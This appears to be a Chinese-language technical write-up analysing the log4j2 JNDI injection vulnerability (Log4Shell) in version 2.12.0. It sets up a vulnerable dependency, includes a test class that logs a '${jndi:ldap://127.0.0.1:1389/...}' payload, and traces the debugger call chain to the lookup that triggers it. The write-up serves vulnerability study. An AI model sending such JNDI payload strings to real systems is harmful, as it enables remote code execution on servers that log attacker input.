环境搭建

在pom.xml中引入log4j2的依赖

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.0</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.0</version>
</dependency>
</dependencies>

编写测试用例

package org.atoposx;

import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;
import sun.applet.Main;

public class Log4jRCE {
    public static void main(String[] args) {
        LOG.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/open -a Calculator}");
//        LOG.info("${jndi:ldap://127.0.0.1:1389/Basic/Command/open -a Calculator}");
    }

    private static Logger LOG= LogManager.getLogger(Main.class);
}

漏洞原理

log4j2在日志解析的过程中会对${开头的内容进行解析,并支持通过jndi查找。如果解析出来的内容中包含jndi:,则会调用jndi的lookup()进行查找,从而触发jndi注入。

漏洞分析

在测试代码LOG.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/open -a Calculator}");处打上断点

步入org.apache.logging.log4j.Logger#error(java.lang.String)

111

步入org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled(java.lang.String, org.apache.logging.log4j.Level, org.apache.logging.log4j.Marker, java.lang.String, java.lang.Throwable)

该方法用于检查特定的日志级别是否启用

步入org.apache.logging.log4j.spi.ExtendedLogger#isEnabled(org.apache.logging.log4j.Level, org.apache.logging.log4j.Marker, java.lang.String, java.lang.Throwable)

步入org.apache.logging.log4j.core.Logger.PrivateConfig#filter(org.apache.logging.log4j.Level, org.apache.logging.log4j.Marker, java.lang.String, java.lang.Throwable)

发现在429行存在一个对intLevel值的判断,只有intLevel的值小于等于200的时候才会继续执行。

log4j内置一个标准级别intLevel

值越小级别越高,所以除了error,fatal也是可以触发漏洞的。

判断结束后,步入org.apache.logging.log4j.spi.AbstractLogger#logMessage(java.lang.String, org.apache.logging.log4j.Level, org.apache.logging.log4j.Marker, java.lang.String, java.lang.Throwable)

步入org.apache.logging.log4j.spi.AbstractLogger#logMessageSafely

步入org.apache.logging.log4j.spi.AbstractLogger#logMessageTrackRecursion

步入org.apache.logging.log4j.spi.AbstractLogger#tryLogMessage

步入org.apache.logging.log4j.spi.ExtendedLogger#logMessage

步入org.apache.logging.log4j.core.config.ReliabilityStrategy#log(org.apache.logging.log4j.util.Supplier<org.apache.logging.log4j.core.config.LoggerConfig>, java.lang.String, java.lang.String, org.apache.logging.log4j.Marker, org.apache.logging.log4j.Level, org.apache.logging.log4j.message.Message, java.lang.Throwable)

步入org.apache.logging.log4j.core.config.LoggerConfig#log(org.apache.logging.log4j.core.LogEvent, org.apache.logging.log4j.core.config.LoggerConfig.LoggerConfigPredicate)

步入org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent

中间过程省略一部分,可以根据下面的调用链进行调试

直接快进到org.apache.logging.log4j.core.layout.Encoder#encode

步入org.apache.logging.log4j.core.layout.PatternLayout#toText

步入org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

该方法的作用是根据 PatternLayout 的格式化模板(pattern formatter),将传入的日志事件(LogEvent)转换成字符串表示,并写入到给定的 StringBuilder 中,用于最终日志输出。

查看一下所有可用的converter

通过设置不同的converter对不同的输入进行格式化,其中存在问题的是第9个MessagePatternConverter

步入org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

关键逻辑从第129行开始

代码会判断从偏移开始的字符中是否存在$(两个连续出现的字符,如果存在就将$(开始的字符串截取保存到value中,并在wrokingBuilder中截掉这一段,通过replace方法将解析过后的value再append上去。

步入org.apache.logging.log4j.core.lookup.StrSubstitutor#replace(org.apache.logging.log4j.core.LogEvent, java.lang.String)

步入org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int)

步入org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>)

步入org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable

步入org.apache.logging.log4j.core.lookup.StrLookup#lookup(org.apache.logging.log4j.core.LogEvent, java.lang.String)

该方法中会获取var参数中的前缀,通过前缀判断使用了哪个方法的lookup()。在这里获取到的前缀是jndi,则198行就调用jndi的lookup方法,从而造成jndi注入。